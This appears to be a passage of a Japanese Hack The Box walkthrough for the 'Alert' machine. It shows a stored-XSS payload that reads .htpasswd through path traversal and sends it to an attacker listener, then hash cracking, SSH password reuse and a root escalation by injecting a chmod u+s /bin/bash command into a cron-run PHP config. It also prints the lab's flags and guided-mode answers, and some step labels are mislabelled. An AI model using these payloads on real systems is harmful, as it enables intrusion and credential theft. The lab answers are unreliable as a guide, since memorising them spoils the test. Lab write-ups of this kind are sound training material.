GET /?content=PHByZT48VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgYWxlcnQuaHRiCgogICAgRG9jdW1lbnRSb290IC92YXIvd3d3L2FsZXJ0Lmh0YgoKICAgIDxEaXJlY3RvcnkgL3Zhci93d3cvYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICBSZXdyaXRlRW5naW5lIE9uCiAgICBSZXdyaXRlQ29uZCAle0hUVFBfSE9TVH0gIV5hbGVydFwuaHRiJAogICAgUmV3cml0ZUNvbmQgJXtIVFRQX0hPU1R9ICFeJAogICAgUmV3cml0ZVJ1bGUgXi8/KC4qKSQgaHR0cDovL2FsZXJ0Lmh0Yi8kMSBbUj0zMDEsTF0KCiAgICBFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKICAgIEN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCjwvVmlydHVhbEhvc3Q+Cgo8VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICBEb2N1bWVudFJvb3QgL3Zhci93d3cvc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzCiAgICAgICAgQWxsb3dPdmVycmlkZSBBbGwKICAgICAgICBBdXRoVHlwZSBCYXNpYwogICAgICAgIEF1dGhOYW1lICJSZXN0cmljdGVkIEFyZWEiCiAgICAgICAgQXV0aFVzZXJGaWxlIC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiLy5odHBhc3N3ZAogICAgICAgIFJlcXVpcmUgdmFsaWQtdXNlcgogICAgPC9EaXJlY3Rvcnk+CgogICAgRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCiAgICBDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAo8L1ZpcnR1YWxIb3N0PgoKPC9wcmU+Cg== HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate




(8) /etc/passwdの内容を確認するために、BASE64でデコードする。Basic認証の認証情報が/var/www/statistics.alert.htb/.htpasswdに記載されていることが分かる。

$ echo "PHByZT48VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgYWxlcnQuaHRiCgogICAgRG9jdW1lbnRSb290IC92YXIvd3d3L2FsZXJ0Lmh0YgoKICAgIDxEaXJlY3RvcnkgL3Zhci93d3cvYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICBSZXdyaXRlRW5naW5lIE9uCiAgICBSZXdyaXRlQ29uZCAle0hUVFBfSE9TVH0gIV5hbGVydFwuaHRiJAogICAgUmV3cml0ZUNvbmQgJXtIVFRQX0hPU1R9ICFeJAogICAgUmV3cml0ZVJ1bGUgXi8/KC4qKSQgaHR0cDovL2FsZXJ0Lmh0Yi8kMSBbUj0zMDEsTF0KCiAgICBFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKICAgIEN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCjwvVmlydHVhbEhvc3Q+Cgo8VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICBEb2N1bWVudFJvb3QgL3Zhci93d3cvc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzCiAgICAgICAgQWxsb3dPdmVycmlkZSBBbGwKICAgICAgICBBdXRoVHlwZSBCYXNpYwogICAgICAgIEF1dGhOYW1lICJSZXN0cmljdGVkIEFyZWEiCiAgICAgICAgQXV0aFVzZXJGaWxlIC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiLy5odHBhc3N3ZAogICAgICAgIFJlcXVpcmUgdmFsaWQtdXNlcgogICAgPC9EaXJlY3Rvcnk+CgogICAgRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCiAgICBDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAo8L1ZpcnR1YWxIb3N0PgoKPC9wcmU+Cg==" | base64 -d
<pre><VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

</pre>


対象のマシン(Alert)上のファイル取得(/var/www/statistics.alert.htb/.htpasswd)


(1) Kali Linuxの3000/tcpにアクセスするプログラムを作成する。

【ファイル名:XSS6.md】
<script>
var req = new XMLHttpRequest();
req.open('GET', 'http://alert.htb/messages.php?file=../../../../../var/www/statistics.alert.htb/.htpasswd', false);
req.send();
var req2 = new XMLHttpRequest();
req2.open('GET', 'http://10.10.16.6:3000/?content=' + btoa(req.responseText),true);
req2.send();
</script>


(2) ブラウザを用いて「http://alert.htb/index.php?page=alert」にアクセスする。「Browse…」をクリックして作成したプログラム(XSS5.md)を選択し、「View Markdown」をクリックする。


(3) 「Share Markdown」をクリックする。


(4) 共有用のURL(http://alert.htb/visualizer.php?link_share=XXXXXXXXX.md)にリダイレクトされる。問い合わせページに本URLを送信するためメモなどに保存する。
   ※「XXXXXXXXX.md」は随時生成される乱数。


(5) Kali Linuxにて3000/tcpで待ち受ける。

$ nc -lvnp 3000
listening on [any] 3000 ...


(6) 「http://alert.htb/index.php?page=contact」にアクセスし、メッセージに共有用のURLを入力して、「Send」をクリックする。


(7) しばらく待つと、「nc -lvnp 3000」コマンドのプロンプトにて応答があり、contentのパラメータに/etc/passwdの内容が表示されていることを確認する。

$ nc -lvnp 3000
listening on [any] 3000 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.44] 33984
GET /?content=PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K HTTP/1.1
Host: 10.10.16.6:3000
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate




(8) /etc/passwdの内容を確認するために、BASE64でデコードする。Basic認証の認証情報が/var/www/statistics.alert.htb/.htpasswdに記載されていることが分かる。

$ echo "PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K" | base64 -d
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>


SSHログインを用いたalbertユーザー権限のシェル奪取


(1) hashcatを用いて取得したハッシュ値を解析すると、パスワードが「manchesterunited」であることが分かる。

$ vi hash_file
   →「$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/」を記載して保存する。

$ hashcat -a 0 -m 1600 hash_file /usr/share/wordlists/rockyou.txt




(2) ブラウザを用いて「http://statistics.alert.htb/」にアクセスし、ユーザー名が「albert」でパスワードが「manchesterunited」でログインする。


(3) ログインに成功し、Webページが表示される。しかし、特に気になる情報はない。


(4) 他のサービスでも同様の認証情報を使用している可能性があるため、sshでログインできるか試すとログインに成功する。

$ ssh albert@alert.htb
  →パスワード(manchesterunited)を入力する。


(5) 現在ログインしているユーザーを確認すると、albertユーザー権限でログインしていることが分かる。

$ whoami
albert

$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)


(6) 一般ユーザー用のフラグファイルを確認する。

$ cat /home/albert/user.txt
460b3f5402db6d4dd54d64926811f6e0


特権昇格


(1) sudoコマンドの設定を確認すると、sudoコマンドで実行できるファイルがないことが分かる。

$ sudo -l
  →パスワード(manchesterunited)を入力する。
Sorry, user albert may not run sudo on alert


(2) SUIDファイルを検索する。

$ find / -perm -u=s -type f 2> /dev/null
/opt/google/chrome/chrome-sandbox
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper


(3) netstatで起動しているサービスのポート番号を確認すると、8080/tcpポートが起動していることが分かる。

$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -


(4) Kali Linux上の8081/tcpにアクセスすると攻撃対象サーバ(Alert)の8080/tcpへポートフォワードをするために、新しいプロンプトを起動してsshでログインする。

※Kali linux上でコマンドを実行する。

$ ssh albert@alert.htb -L 8081:127.0.0.1:8080
  →パスワード(manchesterunited)を入力する。


(5) ブラウザを起動して「http://127.0.0.1:8081/」にアクセスすると、Webページが表示される。ししかし、入力フォームなどがなく特に何も気になる情報がない。


(6) 「https://gitlab.com/kalilinux/packages/pspy」にプロセス一覧を表示させるプログラムがあるため、Kali Linux上に一旦保存して、攻撃対象のマシン(Alert)に移動する。
まずはKali LinuxのIPアドレスを確認し、4000/tcpで待ち受けるWebサービスを起動する。

※Kali Linux側のマシンでコマンドを実行する。

$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64

$ ip a
  →Kali LinuxのVPN用のIPアドレスを確認する。今回のIPアドレスは「10.10.16.6」。

$ python3 -m http.server 4000
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...


(7) pspyコマンドを用いて実行したプロセス一覧を表示する。/opt/website-monitor/monitor.phpが実行中でroot権限で実行されていることが分かる。

$ wget http://10.10.16.6:4000/pspy64
$ chmod +x pspy64
$ ./pspy64
ーーー(省略)ーーー
2025/04/06 05:20:44 CMD: UID=0     PID=1      | /sbin/init maybe-ubiquity
2025/04/06 05:20:51 CMD: UID=0     PID=1649   |
2025/04/06 05:21:01 CMD: UID=0     PID=1650   | /usr/sbin/CRON -f
2025/04/06 05:21:01 CMD: UID=0     PID=1651   | /bin/sh -c /usr/bin/php -f /opt/website-monitor/monitor.php >/dev/null 2>&1
2025/04/06 05:21:01 CMD: UID=0     PID=1652   | /usr/bin/php -f /opt/website-monitor/monitor.php




$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
ーーー(省略)ーーー
root        1003  0.0  0.6 207256 26492 ?        Ss   Apr05   0:04 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
root        1004  0.0  0.5 396348 20896 ?        Ssl  Apr05   0:51 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
daemon      1010  0.0  0.0   3796  2212 ?        Ss   Apr05   0:00 /usr/sbin/atd -f
root        1011  0.0  0.0   2608   600 ?        Ss   Apr05   0:00 /bin/sh -c /root/scripts/xss_bot.sh
root        1012  0.0  0.0   2608   596 ?        Ss   Apr05   0:00 /bin/sh -c /root/scripts/php_bot.sh
root        1013  0.0  0.0   6892  3396 ?        S    Apr05   0:00 /bin/bash /root/scripts/php_bot.sh
root        1014  0.0  0.0   6892  3288 ?        S    Apr05   0:00 /bin/bash /root/scripts/xss_bot.sh
root        1015  0.0  0.0   2636   796 ?        S    Apr05   0:00 inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
root        1016  0.0  0.0   6892   228 ?        S    Apr05   0:00 /bin/bash /root/scripts/php_bot.sh
root        1017  0.0  0.0   2636   792 ?        S    Apr05   0:00 inotifywait -m -e create --format %w%f %e /var/www/alert.htb/messages --exclud
ーーー(省略)ーーー


(8) /opt/website-monitor/monitor.phpファイルを編集する権限があるか確認すると、一般ユーザーに編集権限がないことが分かる。

$ ls -l /opt/website-monitor/monitor.php
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 /opt/website-monitor/monitor.php


(9) /opt/website-monitor/monitor.phpファイルの内容を確認すると、/opt/website-monitor/config/configuration.phpファイルを読み込んでいることが分かる。

$ cat /opt/website-monitor/monitor.php
ーーー(省略)ーーー
include('config/configuration.php');

$monitors = json_decode(file_get_contents(PATH.'/monitors.json'));

foreach($monitors as $name => $url) {
        $response_data = array();
        $timestamp = time();
        $response_data[$timestamp]['timestamp'] = $timestamp;
        $curl = curl_init($url);
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_HEADER, true);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($curl);
        if(curl_exec($curl) === false) {
                $response_data[$timestamp]['error'] = curl_error($curl);
        }
        else {
                $info = curl_getinfo($curl);
                $http_code = $info['http_code'];
                $ms = $info['total_time_us'] / 1000;
                $response_data[$timestamp]['time'] = $ms;
                $response_data[$timestamp]['response'] = $http_code;
        }

        curl_close($curl);
        if(file_exists(PATH.'/monitors/'.$name)) {
                $data = json_decode(file_get_contents(PATH.'/monitors/'.$name), TRUE);
        }
        else {
                $data = array();
        }
        $data = array_merge($data, $response_data);
        $data = array_slice($data, -60);
        file_put_contents(PATH.'/monitors/'.$name, json_encode($data, JSON_PRETTY_PRINT));
}


(10) /opt/website-monitor/config/configuration.phpファイルの権限を確認すると、managementグループに編集権限があることが分かる。

$ ls -l /opt/website-monitor/config/configuration.php
-rwxrwxr-x 1 root management 49 Nov  5 14:31 /opt/website-monitor/config/configuration.php


(11) /opt/website-monitor/monitor.phpファイルの内容を確認すると、/bin/bashにSUID権限を付与するプログラムであることが分かる。

$ vi /opt/website-monitor/config/configuration.php
   →以下のようにファイルを編集する。

【編集前】
<?php
define('PATH', '/opt/website-monitor');
?>

【編集前】
<?php
define('PATH', '/opt/website-monitor');
system("chmod u+s /bin/bash");
?>


(12) ファイルの権限を確認すると、SUID権限が付与されていることが分かる。

$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash


(13) 「/bin/bash -p」コマンドを実行し、特権昇格をする。

$ /bin/bash -p
  →ルート権限のプロンプト(bash-5.0#)が表示される。


(14) 現在ログインしているユーザー情報を確認すると、root権限であることが分かる。

# whoami
root

# id
uid=1000(albert) gid=1000(albert) euid=0(root) groups=1000(albert),1001(management)


(15) 特権ユーザー用のフラグファイルを確認する。

# cat /root/root.txt
a59e8d684f521f98d0e01f26763b9f94


[補足] Guided ModeのQA



・Task 1

問題(英語訳):How many open TCP ports are listening on Alert?
問題(日本語訳):Alert でリッスンしている開いている TCP ポートはいくつありますか?

答え:2


・Task 2

問題(英語訳):What is the primary domain name used by the webserver on Alert?
問題(日本語訳):Alert の Web サーバーで使用されるプライマリ ドメイン名は何ですか?

答え:alert.htb


・Task 3

問題(英語訳):What is the full name of the subdomain of alert.htb that hosts a different application?
問題(日本語訳):別のアプリケーションをホストする alert.htb のサブドメインの完全な名前は何ですか?

答え:statistics.alert.htb


・Task 4

問題(英語訳):What is the relative path on the site of the page that is vulnerable to a stored cross-site scripting (XSS) attack?
問題(日本語訳):保存型クロスサイトスクリプティング (XSS) 攻撃に対して脆弱なページのサイト上の相対パスは何ですか?

答え:/visualizer.php


・Task 5

問題(英語訳):Does that admin user click on links sent to them via the content form?
問題(日本語訳):管理者ユーザーはコンテンツ フォーム経由で送信されたリンクをクリックしますか?

答え:yes


・Task 6

問題(英語訳):What is the name of the .txt file that there is a link to on the messages.php page?
問題(日本語訳):message.php ページにリンクされている .txt ファイルの名前は何ですか?

答え:2024-03-10_15-48-34.txt


・Task 7

問題(英語訳):What is the full path to the directory on Alert that holds files for the statistics.alert.htb site?
問題(日本語訳):statistics.alert.htb サイトのファイルを保持する Alert 上のディレクトリへのフル パスは何ですか?

答え:/var/www/statistics.alert.htb


・Task 8

問題(英語訳):What is the password for the albert user on Alert?
問題(日本語訳):Alert の albert ユーザーのパスワードは何ですか?

答え:manchesterunited


・Submit User Flag

問題(英語訳):Submit the flag located in the albert user's home directory.
問題(日本語訳):albert ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:460b3f5402db6d4dd54d64926811f6e0
※「/home/albert/user.txt」ファイルの内容


・Task 10

問題(英語訳):What is the full path to the php file being executed by the root user periodically?
問題(日本語訳):root ユーザーによって定期的に実行される PHP ファイルへのフルパスは何ですか?

答え:/opt/website-monitor/monitor.php


・Submit Root Flag

問題(英語訳):Submit the flag located in the root user's home directory.
問題(日本語訳):ルート ユーザーのホーム ディレクトリにあるフラグを送信します。

答え:a59e8d684f521f98d0e01f26763b9f94
※「/root/root.txt」ファイルの内容。



関連記事(Hack The Box)

※後日作成予定。